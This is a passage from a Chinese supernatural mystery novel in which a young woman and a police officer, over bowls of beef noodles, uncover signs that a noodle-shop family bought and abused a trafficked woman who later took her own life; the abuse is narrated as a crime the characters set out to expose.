“不、不是！阿姨您误会了，这是我……是我朋友，我本来打算送她回家的，正好她也想吃淮阳牛肉面，我就带她来这里了。”林凌忙解释。
沈聆点了点头，汤面的热气有点儿氤氲了她的视线，但眼前的老夫妻看起来都是和善温和之人，热情好客，并且她简单看了看墙上的菜单，上面的定价也不是很贵，在这个物价飞升的时代，14元一碗的牛肉面的确属于是物美价廉了。
老伯抬了抬手，热情地招呼着林凌：“哎呀，老婆子，你这么直接地问出来人家小女娃娃要羞死了，咱别理她，先去那边坐着吧，等面好了我让我儿子给你们端过去。”
林凌也回头看着沈聆：“我们先坐坐吧。”
“好。”
沈聆点了点头，与林凌找了个靠近窗边的位置，两人一前一后地坐了下来。
沈聆认真观察了一圈，发现牛肉面馆内的装潢还是比价老旧的，靠近墙壁的地方放着一个大大的饮料冰柜，在冰柜旁的墙壁上装着电扇，面馆里没有装空调，来吃面的人都热得大汗淋漓。
林凌抽了两张面巾纸，擦了擦两人眼前的餐桌，顺手摘下了头上的棒球帽，抬眼看着沈聆：“这家牛肉面馆的味道很正宗，你是第一次来吃吗？”
“嗯，对。”
林凌一挑眉：“我昨天听你在梦里还在喊这家店的名字，我还以为你也是老客户了。”
沈聆沉默了一下，幽幽地回答道：“其实，是我一个朋友想吃这家面馆。”
“朋友？要不要叫她一起来？”
“不用了，她已经死了。”
19. 跛脚的男人
“啊？她已经死了？”
“对，我记得她生前念叨着想再吃一吃这家店的牛肉面，所以我就想来看看……”
沈聆找了个借口，将秦琴说成自己的朋友，让一切显得更加名正言顺。
“她……她是怎么死的？”
“难产，大出血死的。”沈聆想着秦琴的情况，编了个借口。
虽然秦琴是跳楼自杀，但沈聆总感觉她的自杀和生产脱不开关系，而且在生产之后，孩子的父亲始终没有露面，新闻热度已经炒得满天飞了，但那个男人却隐身不见，这一切太诡异了。
沈聆总觉得，秦琴在暗示着什么。
她想吃的是淮阳牛肉面，但陵川市的淮阳牛肉面不止一家，她偏偏选中了地址比较偏僻的城西牛肉面馆，面馆的门牌号都精准定位，这已经不是普通的熟客会留心的信息了，这其中说不定有什么秦琴难以说出口的原因，由同情转为帮助的欲望，沈聆想帮帮秦琴，无论是出于内心对她的同情，还是希望多攒一点阴德的功利心。
林凌对沈聆的借口倒是没有多虑，毕竟每年死于难产的孕妇也不在少数。
他叹了口气，却没有什么能做的。
“我想……我想你朋友现在应该去到极乐世界了吧，希望她下辈子能有一个安稳的人生。”
“极乐世界应该是还没有去的，毕竟不是所有的人都能善终，对某些人而言，死亡是一种解脱，但对另外一些人而言，说不定是桎梏。”
沈聆的声音带着几分寒意，她看起来不到二十岁，但是生死观却超过了许多人，父母的去世，让她一下子成熟了许多，甚至开始思考起生与死的意义。
林凌见谈到了“生与死”的话题，担心勾起她的伤心事，忙岔开了话题，闲聊起了这家店的装潢，以及自己曾经住在附近的某个小区。
在林凌侃侃而谈的时候，沈聆认真观察了一圈，这家面馆并不算大，内部所有的设备都有老化、陈旧的痕迹，天花板上有许多油渍，面馆一共放着八张桌子，每张桌子上都放着面巾纸、牙签和油醋，碗筷放在消毒柜里，老客户林凌已经轻车熟路地从消毒柜里拿来了碗筷，递给沈聆。
“谢谢。”
沈聆默不作声。
她今天主要是想来看看淮阳牛肉面是怎么做的，或者，买一份淮阳牛肉面回去——外婆交代过，阴厨祭祀的食物里面，必须加入阴厨本人的血，食物才能被亡魂所“食用”，但食物本身是否是阴厨亲手做的，并不重要，如果是亡魂生前心心念念的味道，那他们会更希望吃到自己原先留恋的味道。
“对了，你妹妹情况怎么样了？”
“昨天和前天都接受了手术，车祸的时候她在后排，但车门压坏了她的胸腔和颅脑，医生说她的颅骨受损，所以前天晚上先进行颅脑手术……虽然手术中出现了脑出血，不过后面及时止血了，徐医生说情况还可以，不过留了一个开放的创口，后期要进行二期手术。”
沈聆尽量用简短的语言解释那些复杂的医学名词，这几天她跑了许多次外科，也接触到了之前从来没有听过的外科手术名称，知道每一场手术都存在着风险，医生看似云淡风轻的话后面，也许暗藏危机，这些都需要经验丰富的临床医生才能稳住，她也由衷地感谢那些连夜加班的医生为了救自己的妹妹付出的努力。
“昨天晚上的外科手术情况也不错，医生帮她重塑了胸腔，有几根肋骨插入了肝脏，也成功截断取出，如果不出意外的话，后天要进行二期颅脑手术。”
林凌认真地听着沈聆的话，他一本正经的样子，就像是在听犯人的笔录一样正经。
他知道自己没办法感同身受，毕竟沈聆一天之内失去了父母，这个时候说再多的“节哀顺变”也只是空洞，他想尽量帮一帮这个只有19岁的女孩子，毕竟她的人生才刚刚开始，他希望能多做点什么。
“没关系，一切都会好起来的，你妹妹能活下来，就说明她福大命大，她一定是个长命百岁的人！”
林凌的声音有力而充满了信心，暖暖的光线透过玻璃落在他的发丝上，一瞬间，沈聆恍惚了一下，这几天下来，已经麻木的心也感觉到一阵暖意。
“谢谢。”
“如果有什么需要我帮忙的，不用客气，可以跟我说。”林凌说着，拍了拍自己的胸脯，顺便拿出了手机，打开了好友页面，“加个好友吧，有什么需要随时可以给我打电话！”
“……”沈聆看着林凌打开的微信好友页面，抬起头复又看着对方坚定的眼神，一时间有点儿疑惑。
“怎么了？”
“林警官……为什么要对我这么好？我们只是萍水相逢的人而已，虽然说你是警察，但我已经很给你添麻烦了。”沈聆并没有拿出自己的手机添加好友，她坐在林凌对面，看着他的眼神带着几分疏远。
她似乎与生俱来地与别人有着一种距离感，她不喜欢太靠近别人，也不习惯别人太靠近自己，在学校时，她也是独来独往的人，忽然有这么一个陌生男子对自己这么好，她多少有点儿……心里发憷，虽然她知道对方绝非坏人，也知道对方心怀好意，但她大概猜到对方的出发点是名为“同情”的东西，这样的“同情”、“怜悯”让她不太舒服，她有自己的自尊，不需要别人的同情。
林凌见状，抿了抿嘴角，默默地收起了自己的手机：“或许……只是觉得你和我认识的一个人很相似吧……”
“谁？”
“在我大学刚毕业、刚加入警队的时候，我曾经办了一件案子……”林凌说着，视线看向了玻璃窗外的远方，他的思绪似乎也被带到了过去，“那是一件杀人案，案子里发生在清贫的一家三口，一对夫妻日常靠摆摊维持生计，他们有一个已经上高中的女儿，摆摊的收入并不算多，但勉强能够供女儿上学，他们的日子过得很简单，但却很幸福……只不过，在某一次出摊的时候，那对夫妻遇到了逃窜中的杀人犯，男人认出了那是公告上的在逃杀人犯，见义勇为地拦住了对方，但不幸被杀人犯持刀当街杀死……在我们赶到现场的时候，他老婆也倒在血泊之中，送到医院后也因为失血过多没有抢救过来。”
沈聆听着心中一紧：“那你们抓到在逃杀人犯了吗？”
林凌脸色一沉：“没有，我们队长组织了许多次抓捕行动，但是几乎都以失败告终，警方发布了高额悬赏，但那个男人至今在逃，他手上有五条人命，是个汽车维修厂的工人，在一次醉酒后和厂长发生了冲突，一怒之下连杀五人。”
沈聆听着这番话，默默叹了口气。
在我们所不知道的角落里，有人为了维护城市的安全与稳定默默奉献着，也有人为了追查真凶、维护正义而献出自己的生命，但遗憾的是，我们甚至都不知道他们的名字。
“……所以，你是觉得我和他们的女儿很像，是吗？”沈聆用抬起如平静地眼眸看着林凌。
“对。”林凌正视着她，“当年，那对夫妻的女儿，也正好19岁，她不能接受一夜之间失去父母的事情，在父母头七之后，跳楼自杀了。”
“你担心我也自杀，对吗。”
“对。”
“……谢谢你。”
“我想说的是，无论发生什么事情，活下去，才是最重要的，而且你父母一定希望你好好活着。”
“放心吧，林警官，我有一个妹妹，她还躺在ICU里，我不会轻生的，而且，我还有一个年迈的外婆要照顾，我不会抛下她们不管的，我答应
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了妈妈。”
沈聆停顿了一下，下意识地看了一眼自己右手上的红色手链，手链上银色的铃铛让她想起了外婆，想起了关于阴厨的一切。
一瞬间，她的思绪又回到了招魂的路口，回到了在镜子里看到母亲魂魄的那一幕。
她记得自己认真地答应过母亲，要好好照顾活下来的人。
——至少，得完成这个承诺呀……
——否则，以后到另一个世界去了的话，要怎么面对妈妈呢……
沈聆这么想着，抬起头，给了林凌一个温和的微笑。
看着沈聆的微笑，林凌眨了眨眼睛，思绪停滞了半秒钟。
“面来了——”
就在这时，两碗牛肉面被放在了两人面前，打断了两人的谈话。
沈聆低下头，看见面前放着两碗汤面，汤面是用白瓷碗承装的，淡黄色的面条浸泡在牛肉汤了，上面飘着清脆的青菜和煎鸡蛋，一股浓郁的牛肉香便从汤面中传来。
两只粗短黑胖的手从白瓷碗旁挪开，顺着那手臂看去，沈聆看见上菜的是一个五大三粗的男人，他大概有一米七左右的身高，矮矮胖胖的，寸头，小眼睛，大鼻子，穿着黑色的短袖，身上全都是油腻腻的腥味，身上围着一个已经褪色的围裙，从身形来看，他应该就是方才沈聆看到的在后厨忙碌的男人。
“谢谢。”沈聆礼貌地道谢。
那个男人并不愿意搭理她，转头去收拾其他桌子上的吃剩的汤碗。
沈聆注视着他的背影，感觉他的腿脚似乎有点儿不利索，尤其是右脚，在走路的时候有点儿跛脚。
“那是他们的儿子。”
林凌的声音从耳畔传来，沈聆回过头，看见林凌也同样看着上菜的男人。
“他们的儿子有轻度智障，并且五六年前被车撞了，撞坏了腿，现在一瘸一拐的，说话和行动虽然不是很利索，但也能帮老俩口上菜洗碗。如你所见，陈伯负责烫面，陈伯母负责加料，至于汤底、牛肉、牛肉丸、煎蛋……这些都是在后厨做的，他们家儿子、儿媳妇负责后厨的事情，不常到前面来，他们不喜欢儿媳妇抛头露面的，我也是来得比较多、和二老比较熟，才知道一点基本情况。”
林凌说着，喝了一口牛肉汤的汤面，随即，他皱了皱眉头。
“奇怪，为什么好像没有那么好喝了？我怎么记得以前不是这个味道的？是我太久没来了吗？”
闻言，沈聆也拿起汤匙，喝了一口汤面。
汤面很清淡，汤里没有多少牛肉的鲜味，反而有点儿寡淡。
——实在是算不上一碗好吃的牛肉面。
虽然沈聆心里是这么想的，但是她没有说出来，毕竟今天是林凌请她吃饭，如果嫌弃不好吃，就太不礼貌了。
“这家牛肉面之前改名过吗？”沈聆漫不经心地提问，“我看门口的牌子明显和装潢的陈旧度不一样，应该是中途换过。”
“没想到你的观察能力还挺敏锐的。”林凌一笑，伸手拿起桌上的菜单浏览了一遍，“我记得我听其他食客提过，这家牛肉面之前是做叉烧饭的，但是叉烧做得很难吃，直到老俩口的儿子娶了媳妇……他们的媳妇是外地人，淮阳牛肉面做得很好，叉烧饭的生意并不好所以老俩口才重新装修了门面，把这家店改成淮阳牛肉面馆，你还别说……自从改了后，生意一下子红火起来，最火的时候还上了咱们本地头条呢！”
“外地的？那你见过她本人吗？她为什么会嫁给一个轻度智障又残疾的人？”沈聆看了一眼正在收拾碗筷的男人，他正一瘸一拐地走回后厨。
林凌一笑：“这我就不知道了，他媳妇看起来安安静静的，也不爱说话，一年四季都穿着长袖，好像挺怕冷。”
20. 隐情
“幺儿，碗筷收好了没有？后厨的牛肉切好了吗？这里的牛肉要用完了！”
老伯在前面吆喝着，他忙的团团转，如车轱辘一样转不过来，眼看着锅里的牛肉要用完了，忙求一般抬起头看着还在慢悠悠收碗筷的儿子。
但他儿子像是没有听清楚老伯的话一样，刚将一张桌子上的碗筷都堆放在一起，慢吞吞地用腰间系着的抹布仔仔细细擦干净了桌上的一点油污。
“幺儿？你擦好了没有？动作快一点！”
老伯不满地提高了音量。
沈聆转过头看向了老伯的儿子，那个矮胖的黑胖子低着头，一双肥嘟嘟的手紧紧握着小小的抹布，他低着头，执着地用抹布一遍遍擦着已经擦干净了的桌子，但是不知道为什么，他似乎很计较于桌子上一块已经凝固的油渍，反反复复用抹布挫着那块油污，哪怕额前已经满是汗水也不知停下。
“老婆子，你快去看看，幺儿又犯病了，那孩子……”
老伯推搡了几把身边的老太婆，也忙得团团转的老妇人不由得停下了手中的动作，抬起头看了看站在餐桌旁的儿子，对着几个刚来的客人招呼了几句“可以先坐下”之类的话后，双手在围裙上摸了几下，忙小跑着来到儿子身边，抢走了儿子手中的抹布。
“你这个傻子！站在这里做什么！快去厨房给你爹切点牛肉过来！本来人就傻，手脚也不知道更勤快一点！”
她拉着自己的傻儿子就往后厨去，但他儿子腿脚不太利索，被老娘拽着，拖曳着脚步，一瘸一拐地往后厨去了，走的过程中还掉了一只鞋子，他支支吾吾地甩开母亲的手，小跑着拿回自己的鞋子后，低着头又回到了母亲身边，双手捂着耳朵，像极了做错事又怕母亲责备的孩子。
“快去切点牛肉，记得牛肉放在冰箱上层……”
老妇人将傻儿子推进了后厨后，叹着气回到了原先忙碌的位置，又开始为客人们配菜，嘴里不忘抱怨着“这日子可怎么过下去啊”之类的话。
“……林警官，你知道他们家媳妇去哪里了吗？”沈聆装作在认真吃面，状似不经意地提问，却在搜集这家面馆的信息。
虽然老板和老板娘这对老年夫妻看上去慈眉善目、对所有客人都十分亲和，但他们在看向自家儿子的时候，那种眼神，就像是看着一只听不懂人话的猫猫狗狗一样，这家牛肉面馆像是老俩口半辈子的继续，他们守着这家店，维持着这家店表面的平静，但总是给人一种“风雨欲来”的不安感。
总觉得这家店，有点不对劲。
林凌看着沈聆，察觉到了她眼底一抹质疑的神色，他心下有点不安，是不是自己推荐的店不太合她的胃口。
林凌这么想着，又喝了几口牛肉汤。
但和他记忆中的牛肉汤明显不同的是，这一次他喝到的汤有点儿寡淡，并且牛肉的味道也不突出，甚至还有点儿苦涩，酸酸涩涩的，有点儿像是洗锅水的味道。
这可比之前喝起来的口感相去甚远。
但感觉是这么感觉的，林凌不好意思说出来，毕竟自己在来之前还跟沈聆夸赞这家店是多么多么好吃，现在如果转头说没有当时做的那么美味，岂不是在打自己的脸？
这么想着，林凌抬起头略感心虚地窥探了一下沈聆的表情，但沈聆似乎并没有太明显的情绪起伏，只是默默坐在那边喝汤，表情露出“难喝”、“恶心”之类的表情，这倒是让林凌松了一口气。
察觉到林凌的视线，沈聆抬起头，正对上他的目光。
冷不防地被发现自己“偷窥”的小动作，林凌一个心虚，一口汤呛到了气管里！
“咳咳——咳咳——”
他剧烈地咳嗽起来，周围的食客也不由得纷纷转头看了过来。
“慢点喝，没人跟你抢。”沈聆起身拍了拍林凌的背，眼里满是困惑，“来，喝点水。”
“咳咳……”
林凌接过沈聆递过来的水，大口喝了几口后，这才停止了咳嗽，一张脸咳得通红，看起来十分狼狈。
“哈哈哈哈，不小心噎到了……”林凌挠了挠头，心虚地抓了抓头发，忙给旁边的食客道了几声抱歉。
沈聆凑近了问道：“他们家的媳妇是不是今天不在？我好像没有看到她。”
“今天？”林凌环视了一圈后，摇了摇头，“我也没看到，应该不在吧，是不是生了？”
“生了？你的意思是……她怀孕了？”沈聆错愕。
“应该是吧，上次我看到她的背影的时候，感觉她的肚子好像有点儿隆起，跟老伯他们问了一下，当时他们还很开心，说自己马上要有孙子了，算算时间……可能也要生了，现在估计在坐月子吧，就没来帮忙。”
牛肉馆里人来人往，人声有点儿嘈杂，但沈聆的脑袋却“嗡”地一声，空了一下，一个可怕的念头浮现在她的脑海中。
林凌见沈聆忽然不说话，脸色也阴沉下来，抬手在她眼前晃了一晃，但沈聆一点反应也没有、甚至眼睛也不眨一下。
“怎么了？一脸心事重重的样子？”
林凌在沈聆面前打了个响指，这下唤回了沈聆的思绪。
“额……没什么，我只是在想……如果在陵川市要生孩子的话，应该会去平安医院吧？”
“应该是吧，毕竟那是陵川市最好的医院了，我记得产科是在六楼……”说到这里，林凌话锋一顿，他忽然明白了什么，“等等，前几天是不是有一个产妇从平安医院的六楼跳楼了？”
“……”
沈聆看着林凌，没有说话，两人同时陷入了可怕沉默，眼前的两碗牛肉面都没有吃完，但此刻两人早已经没有了吃饭的心情，他们坐在自己的位置上，听着嘈杂的人声，思绪早已经飘远。
“沈聆，你说你有一个朋友爱吃淮阳牛肉面……”
“其实，不是我的朋友，而是那个跳楼的产妇，秦琴。”
“你……”
“我用一些特殊的方法知道了秦琴生前很在意这家淮阳牛肉面馆……我才想来看看这家面馆和她有什么关系，而且，我很想搞清楚，她当时为什么要跳楼自杀，在刚生下孩子的第二天，就跳楼自杀，我感觉这不像是单纯的产后抑郁。”
林凌眉头紧锁，表情也十分凝重。
对于这几天沸沸扬扬的产妇跳楼事件，他自然也有所了解，毕竟是在陵川市发生的事件，并且在秦琴跳楼的当夜，他正将许多元山路校车事故中的孩子送到平安医院，
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秦琴从六楼一跃而下，就砸在他的警车上，他怎么可能不了解一下这件事情的来龙去脉？
只不过，这件事情对他们来说，也十分诡异。
“我们警队也查了一下秦琴跳楼的事情，经过病房窗口的痕迹鉴定和调取病房的监控录像后，我们查证死者的确是自己跳楼的，随后，我们也查了她的身份证信息，发现她的老家并不在这里，根据身份证查出的信息，她是河南省周口市人，除此之外，在陵川市我们没有查到任何和她有关的信息，她就像是空降在陵川市一样……”
“河南省周口市……”沈聆喃喃，在脑袋里记住了这个地方。
“对，在跳楼事件发生后，我们试图联系河南省周口市公安局，也发了协查函，了解秦琴家里的情况，但是对方还没有回复，因此这件事情一直没有进展……”
“但如果她是正常嫁过来陵川市的，为什么会跳楼呢？”沈聆轻声说道，“而且，秦琴很奇怪，她从怀孕之后就来没有到医院产检过，医疗系统里没有她的产检记录……被人发现的时候，她在公厕里，并且出现了大出血的情况，到医院后急产下一名早产儿……”
“这的确很奇怪……”
“嗯，林警官，我怀疑这背后有更可怕的隐情……”沈聆说着，看了一眼后厨，压低声音说道，“你说……这一切像不像是有人把秦琴禁锢在家里，甚至连产检都没有让她去，一直藏到了快要足月的时候，才让秦琴发现了一个逃出来的机会，她抓住机会、逃了出来，但因为大出血，在公厕里奄奄一息，被人发现后送到医院后生下了孩子？她很害怕自己再一次被抓回去，所以在生产的第二天，就跳楼了？”
沈聆的每一个字、每一句话，仿佛都带着沉甸甸的分量，如同铅块一般沉沉地坠落在空气之中。
林凌静静地聆听着沈聆所说的一切，他的脸色逐渐变得阴沉，原本还算轻松的神情渐渐被凝重所取代。
因为他深知，如果沈聆所言属实，那么后果将不堪设想，这可不是开玩笑的事情。
林凌回头看了一眼前台，老俩口还在前台忙活着招呼客人，他们的表情虽然亲和，但仔细一看，会发现他们的眼睛里并没有笑意。
“……如果她真的是这家面馆的儿媳妇，为什么之前不跟其他人求助？牛肉面馆每天人来人往的，难道她没办法发出求救信号？”
沈聆思考了半晌，用筷子的另一头在桌子上画了一个圈。
“一则，你也说了，她的工作地点一直都是在后厨，那个傻子在旁边看着她，她没办法做手脚，另一则，就算发生了什么事情，那对老夫妻也会说是小情侣吵架、闹玩笑，一般人也不会管这么多吧？毕竟你们也都知道，那人就是他们家的媳妇。”
正所谓“清官难断家务事”，许多人用这句话当借口，却对他人的悲苦置之不理，何尝不是另一种意义上的冷漠呢？
“可如果真是这样，她父母不管吗？”
“如果管不到呢？”
“什么意思？”
“如果……我是说如果……秦琴是被拐卖到这里来的呢？”沈聆说着，看了一眼后厨，“否则，你觉得有谁会千里远嫁给残障人士、又在生产之后绝望跳楼呢……”
21. 傻子
在吃完碗里的牛肉面后，沈聆借口要去厕所，趁机凑到后厨偷听店家的对话。
这家面馆的厕所就在后厨的对面，从厕所出来在洗手池洗手的时候，沈聆听见了老妇人和她智障儿子在后厨的对话——
“不是都说了这些牛肉片要切的细一点吗？还有，这些葱怎么还没有给我洗好？你动作给我快一点！”
“好……好……”
“唉，真是造孽，不知道为什么就生下你这么个讨债鬼，好不容易给你讨的老婆也没了，你说说你还能做什么？！你知不知道为了给你讨个老婆，我和你爹花了多少心思？！我也真是上辈子欠了你的，这辈子要给你们家当牛做马！”
沈聆听着这对母子的对话，默不作声地抽了两张面巾纸，擦干了双手。
她心中揣摩着这家面馆应该没有看上去这么简单，店家的儿子有轻度弱智，这样的人要结婚的话，婚检的时候就会因为体检不合格而劝退，毕竟智力方面的问题会影响到下一代，一般也不建议有智力遗传方面的问题的人结婚。
但从这家面馆的情况来看，老俩口应该没有其他的孩子。
老一辈的如果思想比较保守的话，通常都会想办法给自己的孩子讨个老婆，如果在这样的思想驱动下，用一些“特殊手段”给孩子找个老婆，那也不是不可能。
沈聆心事重重地回到座位上的时候，林凌也吃完了。
“那我们走吧。”
“好。”
林凌沉声说道：“你说的事情，我回去认真查一下，你说得对，就算那个人不是秦琴，把这件事情调查清楚的话，也是对那个女孩子好，如果对方真的需要帮助。”
林凌说着，走到前台，在走到前台的时候，他换了一副面孔，微笑着招呼老俩口结账，从他说话的声音和语气看来，一点都看不出刚才他心里已经种下对这家面馆的猜忌。
在林凌结账的时候，沈聆打开手机查了一下——河南省周口市，有一个县区叫淮阳区，而所谓的“淮阳牛肉面”正是发源于那个地方。
“淮阳牛肉面……”
沈聆喃喃着，想起了门外挂着的店铺牌子似乎有所更换，方才林凌说过，这家店本来是做叉烧饭的，但后面改成了淮阳牛肉面，而且汤底也是儿媳妇做的，如果这位儿媳妇就是来自“淮阳牛肉面”的发源地，她的一手牛肉面做得那么好吃，就可以解释的过去了。
再者说，按照林凌的口径来说，现在的汤面已经没有以前那么好吃了，会不会是因为做汤底的儿媳妇出事了，老俩口和傻儿子完全复制不了儿媳妇的手艺，这才有了口味的改变？
沈聆沉思着，思绪蔓延开来。
她环顾了一圈这家面馆，最后视线落在披着黑色厨帘的后厨——那个昏暗的地方，像是一个囚笼一样，藏了许多秘密。
黑色厨帘上面写着“生人勿进”四个字，隔绝了后厨与外面的世界，中间也隔着一个隔板，就像是为了阻止某人从后厨出来特定设置的一般。
——得想个办法，弄清楚这家店和秦琴有什么关系。
——秦琴的身份户口查询信息还没有结果，我必须在48小时内完成“祭魂”，如果在这期间能够弄清楚她的冤屈就好了……
——一个刚生产的孕妇，绝望地跳楼，甚至没有任何人去医院认领她所生下的孩子，这件事情一定没有那么简单。
——最大的可能，或许这个孩子就不是婚生子女，秦琴和那个傻子根本没有扯户口。
沈聆这么想着，回到了自己的座位上。
在她回到餐桌时，林凌还在吃面，她抬起头，看见傻子正从后厨提了一大袋黑色垃圾袋装着的垃圾，走出牛肉面馆。
“林警官，您慢慢吃，我出去接个电话，我妹妹的医生打来的。”沈聆说着，拿出口袋里的手机，神色带着几分匆忙。
林凌并没有疑心，他点了点头，示意林凌不用管他。
沈聆走到牛肉面馆外的时候，左右张望了一圈，发现那傻小子正提着一袋子垃圾摇摇晃晃地朝着路口的垃圾车走去。
她小跑着跟上他，并装作不经一般在他身旁咳嗽了几声。
“那个……你是这家面馆的儿子？你们做的牛肉面很好吃！”
那傻小子看着沈聆，心中并没有多加防备，清浅的阳光落在他们身上，他圆圆的脸颊脏兮兮、油腻腻的，但那双黑色的眼睛就像是和善的小狗，看着人的时候总带着几分清澈、几分暖意。
挠了挠头，傻子嘿嘿一笑：“真的吗？我们家的面是最好吃的！”
“确实好吃……是你老婆做的吗？我听说你们之前是做叉烧饭的，在你老婆来了之后才改成了淮阳牛肉面？”
“老婆？我没有老婆。”傻子回答得很快，就像没有过脑子的下意识的反应。
“没有老婆？”沈聆一挑眉，“不对吧，我之前来吃面的时候，有看到一个很漂亮的姐姐在后厨和你一起备料来着，那个不是你老婆吗？”
傻子闻言，停下脚步，用力地摇了摇头：“不对，那是琴姐姐！”
“琴姐姐？秦琴？”
“那是琴姐姐！”傻子执拗地重复了一遍刚才说过的话，随后，加快了脚步，朝着垃圾车走去。
沈聆见状，忙跟了上去，她就像是抓住了漂浮在水面上的一根稻草，终于抓到了一丝与秦琴有关的线索，才不会这么轻易放过！
“你说的琴姐姐，是不是叫秦琴？她是外地人？到你们家之后，你们家才改成卖牛肉面的对不对？”
傻子咬紧牙关，无论沈聆怎么说，就是不搭理。
他摇晃着肥圆的身子，走到垃圾车旁边，将重重的厨余垃圾都丢到了路口的垃圾车后，转身快步朝着自家面馆而去。
他的态度转变得很突然，之前还乐呵呵的，现在忽然温度骤降，沈聆像是提到了傻子心里的一个禁忌，他对此缄口不语。
觉得傻子的这个表现十分可疑，沈聆看着傻子的背影，咬了咬牙，跟了上去：“是秦琴对吧！她是河南省周口市人，淮阳牛肉面就是那边起源的！她怀孕了是不是？你和她结婚了吗？为什么在她生完孩子之后不去医院看看孩子？你知道你的琴姐姐在生完孩子后跳楼了吗？”
一连串的逼问，像是轰炸一样，落在傻子身上。
在听到“跳楼”这两个字的时候，他的脚步忽然停住了，如同一个晴天霹雳落在他身上，跟在他身后的沈聆差点儿撞到他身上。
“你说……琴姐姐死了吗？”
“嗯……如果你口中的‘琴姐姐’就是秦琴的话。”
听到这句话，傻子眼中一下子雾蒙蒙了起来，他的眼睛转动着晶莹的光，微微皱起眉头，他低下头，看着自己脚上的人字拖，双手也不由得抓住了黑色的连体裤，整个人瞬间掉入了另一重情绪中。
——他是个傻子，轻度智障的他，或许智力水平与孩童无异。
——他不会像成年人一样伪装自己的情绪，所有情绪的反复全都写在了脸上。
——开心就是开心，担忧便是担忧，伤心即是伤心。
沈聆看着眼前失落的傻子，他虽然已经是成年人的模样，但那双眼睛，却如孩子一样清澈。
“我是你琴姐姐的朋友，你能告诉我吗？这到底是怎么回事？”
傻子委屈了好半晌，才抬起头看向了沈聆。
“是她不好，是她要逃走的！”
“逃走？”
“我爹娘对她可好了，但是不知道为什么，前几天她忽然逃走了，在我们忙着做饭的时候，她从后厨的小门逃走了，我们怎么都找不到她，再后来，我看见爹娘很担心，他们嘀嘀咕咕地说什么‘闹大了’之类的话，我听不懂，但是从那之后，我再也没看过琴姐姐。”
“她是怎么到你们家的？你之前认识她吗？”
沈聆将傻子拉到街边的小巷旁，压低了声音，凑近傻子打听消息，他身上那股牛肉的膻味便传到她身边来。
傻子摇了摇头：“琴姐姐是一年前住在我家的，是隔壁的赵姨带她来的，她来的时候，我看见我爹娘给了赵姨一个大大的红包，那时候琴姐姐在哭，哭得很伤心，我不知道她为什么要哭，我就把我的大白兔奶糖分给她吃，但看到我，她哭得更大声了……”
——赵姨？
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沈聆暗想。
——难道这个赵姨就是人贩子？秦琴就是她拐来这里的？
“在刚到我家的时候，琴姐姐老是哭，而且总是想跑，我爹就用麻绳把她捆在柴房里，每天晚上都打她，只要她哭就打她，渐渐的，琴姐姐就不哭了，她会跟我说话，但是说的话我都听不懂，她说我很可怜，她也可怜，我们都是苦命的人。”
傻子挠了挠头，脑海中浮现出秦琴那张苍白的脸。
“再后来，她好像不哭了，爹娘就让她一起到店里干活，她的手艺不错的，做的牛肉面很好吃，特别是汤底，说是正宗淮阳牛肉面的味道，而且从她来了之后，我们家的客人也开始多起来，大家都很喜欢琴姐姐做的面汤。”
“就是那个时候，你们家才改成淮阳牛肉面馆的？”
“对。”
“琴姐姐不呼救吗？店里面这么多人？如果我是她，这才是我最好的机会。”
“呼救是什么意思？”
“就是……喊救命，让那些来吃面的人救救她。”
沈聆说着，下意识地看了一眼面馆的方向。
面馆每天人来人往，生意很好，如果秦琴成功让老俩口放下警惕，那在面馆工作的时候，就是她最好的逃走机会，就连林凌刚才也说，自己在面馆吃面的时候，也曾经看到过在后厨忙碌的秦琴的身影。
“为什么要喊救命？”傻子天真地看着沈聆。
“额……”
这句话倒是让沈聆一时间不知道做和应答。
是啊。
在傻子的世界里，他们家不过来了一个年轻漂亮的大姐姐，在最开始的时候，大姐姐还会哭泣，但后面大姐姐也开始帮忙做饭，还把生意做得蒸蒸日上，改善了老陈家的生活水平，在“小孩子”眼中，这位琴姐姐就是家人一样的存在，和家人住在一起，为什么要呼救呢？
“因为她在你们家过得很艰难。”
“不会啊，我觉得我们家对她都挺好的。”
“你爹，不是打了她吗？”
“这倒是。”
“……你爹打她的时候，你为什么不帮帮她？”
“那是因为……我觉得我爹说的是对的。”傻子义正言辞地说，“我爹说，女人就是要多打打，才长记性！她老是哭，会把我们家的运势哭衰的，不管我们怎么哄都没用，那就只能打打她、让她长长教训！你看，我爹是对的，打了几次之后，她就不哭了。”
“琴姐姐不是你的家人吗？你们就是这样对家人的？”
傻子嗤之以鼻：“这有什么？！我爹在我小时候也是这样打我的！而且打琴姐姐的时候，只是用木条，打我的时候那可是用柴火棍，粗多了！”
傻子认真地看着沈聆，用理所当然的语气说着一件令人匪夷所思的事情。
沈聆哑口无言。
——敢情你这家伙可能是被打傻的吧!
——这家面馆的老陈，似乎有暴力倾向，还是一个大男子主义。
沈聆沉思着，闭上眼睛，在脑海中将所有的线索都连了起来……
——秦琴是河南省周口市人，但因为某种原因，被人贩子拐卖了，人贩子就是傻子口中的赵姨。
——她把秦琴卖到了老陈家，因为老陈的儿子是个傻子，还有残疾，这样的人是很难找到老婆的。
——在秦琴被卖过来之后，他们家施暴、殴打秦琴，久而久之，秦琴也害怕了，知道在这个时候，硬气得不到任何好处，或许自己在逃走之前就很可能被打死、打傻，索性假装顺从，寻找机会逃走，于是提出帮忙照看店里的生意，甚至贡献了“淮阳牛肉面”的手艺，这一切都是缓兵之计。
——这一家人稍微放下戒心之后，秦琴就开始寻找逃跑的机会。
——终于，在她怀孕快足月的时候，她找到了一个或许可以逃出生天的机会，她逃了出来，但是因为已经怀孕快足月了，于是在公厕里出现了大出血的情况，被送到了平安医院，产下了一个孩子，可一想到自己为仇人生了孩子、并且如果他们来认孩子，自己还会落入魔掌之中，万念俱灰之下，跳楼自杀……
22. 大胆的决定
秦琴，是被卖到他们家后受苦逃走并跳楼自杀的……
想到这里，沈聆睁开了眼睛，看向了傻子。
这傻子眨着眼睛看着自己，似乎不明白她为什么看着自己的眼神如此厌恶。
“怎么了姐姐？你认识琴姐姐对吗？你能跟她说一下吗？我们都在等她回家，我好久没看到她了，她不在，我们做的牛肉面都没那么好吃了。”
“你琴姐姐去了很远的地方。”
“很远的地方？有多远？像天安门广场一样远吗？”
“比那远多了。”沈聆沉声说道，“而且，你也不用等她了，她不会再回来了。”
“为什么啊？我存了好多大白兔奶糖想给她吃……是我做错了什么吗？琴姐姐是不是生气了？”傻子的声音里带着哭腔，他从小没有什么朋友，一直都是在他人的嘲笑中长大，他的亲人也只有父母，这还是第一次有除了父母之外的人和他交朋友，但没想到这么快，就失去了这个朋友。
沈聆摇了摇头，转身朝着面馆走去。
